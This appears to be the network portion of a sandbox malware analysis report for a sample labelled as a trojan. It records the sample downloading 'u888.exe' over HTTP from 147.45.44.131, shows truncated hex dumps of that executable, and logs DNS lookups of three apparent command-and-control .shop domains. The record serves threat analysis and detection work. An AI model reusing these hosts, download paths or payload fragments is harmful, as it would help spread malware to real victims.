Aug 28, 2024 15:29:03.004535913 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.004545927 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.004561901 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.004580021 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.004605055 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.004627943 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.004638910 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.004674911 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.082458973 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082494020 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082511902 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082521915 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082532883 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082544088 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082566023 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.082617998 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.082645893 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082657099 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082668066 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082679987 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082691908 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082698107 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.082734108 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.082823038 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082839966 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.082861900 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.092267990 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092288017 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092298031 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092318058 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.092341900 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.092422962 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092498064 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092508078 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092535019 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.092742920 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092782974 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.092811108 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092873096 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092911959 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.092952967 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092963934 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.092974901 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093014002 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.093080997 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093094110 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093117952 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.093198061 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093208075 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093224049 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093233109 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093240976 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.093271017 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.093353987 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093367100 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093378067 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093389988 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093394995 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.093436956 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.093493938 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093539000 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093549013 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.093594074 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.097893953 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.097999096 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098009109 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098017931 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098031998 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098042965 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098043919 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.098059893 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098094940 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.098124027 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098136902 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098172903 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.098237991 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098287106 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098299026 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098308086 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.098324060 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.098453045 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098464012 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098473072 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098484039 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098501921 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.098532915 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.098536015 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098701954 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098747015 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.098861933 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.098984957 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.099001884 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.099034071 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.099037886 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.099050045 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.099060059 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.099081039 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.099106073 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.099252939 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.099265099 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.099304914 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.100311995 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100370884 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100382090 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100413084 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.100474119 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100505114 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100517035 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100522041 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.100528002 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100548983 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.100593090 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100634098 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.100692034 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100703001 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100713015 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100723982 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100734949 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100739956 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.100747108 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100769043 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.100797892 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.100862026 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100873947 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.100922108 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.100997925 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101044893 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101056099 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101092100 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.101155996 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101167917 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101177931 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101191044 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101200104 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.101227045 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.101277113 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101289034 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101300001 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101310015 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101321936 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.101347923 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.101623058 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101667881 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101667881 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.101680040 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101720095 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.101856947 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101867914 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101877928 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101890087 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.101901054 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.101928949 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.102010965 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.153951883 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.416830063 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.808367014 CEST	49703	443	192.168.2.7	188.114.96.3
Aug 28, 2024 15:29:03.808406115 CEST	443	49703	188.114.96.3	192.168.2.7
Aug 28, 2024 15:29:03.808470964 CEST	49703	443	192.168.2.7	188.114.96.3
Aug 28, 2024 15:29:03.813328981 CEST	49703	443	192.168.2.7	188.114.96.3
Aug 28, 2024 15:29:03.813343048 CEST	443	49703	188.114.96.3	192.168.2.7
Aug 28, 2024 15:29:04.443402052 CEST	443	49703	188.114.96.3	192.168.2.7
Aug 28, 2024 15:29:04.443507910 CEST	49703	443	192.168.2.7	188.114.96.3
Aug 28, 2024 15:29:04.447348118 CEST	49703	443	192.168.2.7	188.114.96.3
Aug 28, 2024 15:29:04.447360039 CEST	443	49703	188.114.96.3	192.168.2.7
Aug 28, 2024 15:29:04.447597980 CEST	443	49703	188.114.96.3	192.168.2.7
Aug 28, 2024 15:29:04.495445013 CEST	49703	443	192.168.2.7	188.114.96.3
Aug 28, 2024 15:29:04.495445013 CEST	49703	443	192.168.2.7	188.114.96.3
Aug 28, 2024 15:29:04.495559931 CEST	443	49703	188.114.96.3	192.168.2.7
Aug 28, 2024 15:29:05.247525930 CEST	443	49703	188.114.96.3	192.168.2.7
Aug 28, 2024 15:29:05.247627974 CEST	443	49703	188.114.96.3	192.168.2.7
Aug 28, 2024 15:29:05.247704983 CEST	49703	443	192.168.2.7	188.114.96.3
Aug 28, 2024 15:29:05.249464035 CEST	49703	443	192.168.2.7	188.114.96.3
Aug 28, 2024 15:29:05.249484062 CEST	443	49703	188.114.96.3	192.168.2.7
Aug 28, 2024 15:29:05.267122030 CEST	49704	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:05.267162085 CEST	443	49704	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:05.267236948 CEST	49704	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:05.269263029 CEST	49704	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:05.269277096 CEST	443	49704	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:05.751277924 CEST	443	49704	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:05.751379967 CEST	49704	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:05.777362108 CEST	49704	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:05.777409077 CEST	443	49704	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:05.777645111 CEST	443	49704	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:05.779382944 CEST	49704	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:05.779403925 CEST	49704	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:05.779453039 CEST	443	49704	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:06.199810982 CEST	443	49704	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:06.199902058 CEST	443	49704	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:06.199956894 CEST	49704	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:06.200746059 CEST	49704	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:06.200769901 CEST	443	49704	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:06.200783968 CEST	49704	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:06.200790882 CEST	443	49704	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:06.493125916 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:06.493155956 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:06.493208885 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:06.493781090 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:06.493794918 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:06.967137098 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:06.967216015 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:06.969063044 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:06.969080925 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:06.969417095 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:06.970669985 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:06.970694065 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:06.970755100 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.105823994 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.105904102 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.105956078 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.105979919 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:07.105998993 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.106072903 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:07.111057043 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.111151934 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.111213923 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:07.119072914 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:07.119086981 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.119097948 CEST	49705	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:07.119102955 CEST	443	49705	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.186758995 CEST	49707	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:07.186798096 CEST	443	49707	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.186856031 CEST	49707	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:07.187216997 CEST	49707	443	192.168.2.7	188.114.97.3
Aug 28, 2024 15:29:07.187232018 CEST	443	49707	188.114.97.3	192.168.2.7
Aug 28, 2024 15:29:07.638514996 CEST	49707	443	192.168.2.7	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 15:29:03.784058094 CEST	57267	53	192.168.2.7	1.1.1.1
Aug 28, 2024 15:29:03.798139095 CEST	53	57267	1.1.1.1	192.168.2.7
Aug 28, 2024 15:29:05.253081083 CEST	64418	53	192.168.2.7	1.1.1.1
Aug 28, 2024 15:29:05.265813112 CEST	53	64418	1.1.1.1	192.168.2.7
Aug 28, 2024 15:29:06.451728106 CEST	50347	53	192.168.2.7	1.1.1.1
Aug 28, 2024 15:29:06.464340925 CEST	53	50347	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 28, 2024 15:29:03.784058094 CEST	192.168.2.7	1.1.1.1	0x7764	Standard query (0)	miracledzmnqwui.shop	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:29:05.253081083 CEST	192.168.2.7	1.1.1.1	0xc8f9	Standard query (0)	locatedblsoqp.shop	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:29:06.451728106 CEST	192.168.2.7	1.1.1.1	0x3ffd	Standard query (0)	traineiwnqo.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 28, 2024 15:29:03.798139095 CEST	1.1.1.1	192.168.2.7	0x7764	No error (0)	miracledzmnqwui.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:29:03.798139095 CEST	1.1.1.1	192.168.2.7	0x7764	No error (0)	miracledzmnqwui.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:29:05.265813112 CEST	1.1.1.1	192.168.2.7	0xc8f9	No error (0)	locatedblsoqp.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:29:05.265813112 CEST	1.1.1.1	192.168.2.7	0xc8f9	No error (0)	locatedblsoqp.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:29:06.464340925 CEST	1.1.1.1	192.168.2.7	0x3ffd	No error (0)	traineiwnqo.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 28, 2024 15:29:06.464340925 CEST	1.1.1.1	192.168.2.7	0x3ffd	No error (0)	traineiwnqo.shop	188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

miracledzmnqwui.shop

locatedblsoqp.shop

traineiwnqo.shop

147.45.44.131

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	147.45.44.131	80	6612	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Timestamp	Bytes transferred	Direction	Data
Aug 28, 2024 15:29:02.064625025 CEST	77	OUT	GET /files/u888.exe HTTP/1.1 Host: 147.45.44.131 Connection: Keep-Alive
Aug 28, 2024 15:29:02.716989040 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:29:02 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Tue, 27 Aug 2024 16:37:44 GMT ETag: "43000-620acdc619d20" Accept-Ranges: bytes Content-Length: 274432 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 b3 ec cc 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 66 03 00 00 c6 00 00 00 00 00 00 30 99 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 29 a4 03 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 04 00 40 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c a5 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELff0@@)x@BL.textdf `.rdataU(*j@@.data\X@.reloc@BD@B
Aug 28, 2024 15:29:02.717014074 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: USWV<$T$PFFFFFF1=D$C11$CD$0_QYWD$4[UEKD$8GIAOD$<CMCD$@FG
Aug 28, 2024 15:29:02.717026949 CEST	1236	IN	Data Raw: 24 bc 01 00 00 62 60 6f 6d c7 84 24 c0 01 00 00 6e 69 6e 6b c7 84 24 c4 01 00 00 68 69 16 13 c7 84 24 c8 01 00 00 10 11 24 12 c7 84 24 cc 01 00 00 1e 1f 10 1a c7 84 24 d0 01 00 00 12 19 1e 17 c7 84 24 d4 01 00 00 1c 2d 02 3b c7 84 24 d8 01 00 00 Data Ascii: $b`om$nink$hi$$$$$-;$!/$$$A1$6g$4d:l$8g&`$<}"b$ je$'%($(m-/$i.$$$$
Aug 28, 2024 15:29:02.717066050 CEST	672	IN	Data Raw: 8b 4c 24 10 0f b7 1c 39 8b 3d e0 b5 43 00 90 90 90 90 90 90 90 90 90 90 ff e7 8a 66 07 31 c9 84 e4 0f 95 c1 89 5c 24 08 88 fa 89 54 24 18 89 4c 24 10 ff 24 8d e4 b5 43 00 8b 4c 24 04 0f b6 b9 e0 08 44 00 31 db 8b 4c 24 14 8b 54 24 20 84 8c 3a e0 Data Ascii: L$9=Cf1\$T$L$$CL$D1L$T$ :D$C%C00n%CT$$CD$\$$CL$C~L$^L$N
Aug 28, 2024 15:29:02.717077971 CEST	1236	IN	Data Raw: da 8b 5c 24 0c 8b 4c 24 1c 0f b6 94 11 a8 08 44 00 0f b6 4c 24 03 d3 e2 c0 ea 07 0f b6 d2 ff 24 95 3c b6 43 00 0f b6 54 24 14 89 54 24 18 c1 ea 03 83 e2 04 ff a2 44 b6 43 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ff 25 58 b6 43 00 31 d2 80 7c Data Ascii: \$L$DL$$<CT$T$DC%XC1\|$$lC\$L$$tCQDC1D$ iDiD9$\|C~L$$C1<"$C1<#$C$C1<!$CL$(01
Aug 28, 2024 15:29:02.717088938 CEST	1236	IN	Data Raw: 0f 31 db 80 fc 05 0f 94 c3 ff 24 9d 4c b8 43 00 0f b6 54 24 04 80 e2 01 0f b6 da ff 24 9d 64 b8 43 00 b3 04 4d 0f b6 d3 31 c9 80 fb 02 0f 92 c1 ff 24 8d 7c b8 43 00 31 c9 83 fa 01 0f 94 c1 89 d3 ff 24 8d 9c b8 43 00 83 cf 20 89 7e 18 0f b6 4d 00 Data Ascii: 1$LCT$$dCM1$\|C1$C ~MNL$C\|$\|$ $,CM1$\|C1$C1$C~MNL$C1$CL
Aug 28, 2024 15:29:02.717099905 CEST	1236	IN	Data Raw: 04 55 68 33 a2 43 00 e8 84 6d 00 00 83 c4 0c 85 c0 0f 84 c4 02 00 00 6a 05 55 68 38 a2 43 00 e8 6c 6d 00 00 83 c4 0c 85 c0 0f 85 43 ff ff ff 83 c5 05 89 2e 6a 10 ff 15 5c b9 43 00 83 c4 04 31 c9 85 c0 0f 85 af 02 00 00 31 db e9 22 ff ff ff 8b 04 Data Ascii: Uh3CmjUh8ClmC.j\C11"$$prfD$$Orfj\C@D$XjUhCl.j\C@
Aug 28, 2024 15:29:02.717113972 CEST	1236	IN	Data Raw: 50 89 d5 e8 84 67 00 00 83 c4 0c 8b 4d 04 eb 04 31 c9 89 d5 51 ff 15 58 b9 43 00 83 c4 04 8b 44 24 04 89 45 04 89 5d 0c 8b 45 00 89 07 8b 45 04 8b 4d 08 89 3c 88 ff 45 08 8b 2e 0f b6 7d 00 57 e8 07 69 00 00 83 c4 04 85 c0 74 29 45 90 90 90 90 90 Data Ascii: PgM1QXCD$E]EEM<E.}Wit)E.}WhEuM<,u8E.]WhEu]tM.\$M1PhtE.]SzhEu]\$u&$tQWX
Aug 28, 2024 15:29:02.717263937 CEST	1236	IN	Data Raw: 90 c3 cc cc cc cc cc cc 53 57 56 8b 74 24 10 31 db 85 f6 74 2e 8b 7c 24 14 85 ff 74 26 57 e8 a5 63 00 00 83 c4 04 89 f1 89 fa 50 e8 58 fc ff ff 83 c4 04 85 c0 74 0c 8b 4c 24 18 31 db 39 48 04 0f 94 c3 89 d8 5e 5f 5b c3 cc cc cc cc cc cc cc cc cc Data Ascii: SWVt$1t.\|$t&WcPXtL$19H^_[L$1tT$9QvAD$t@1L$1tT$9QvItyuAWVD$Hp~t.1
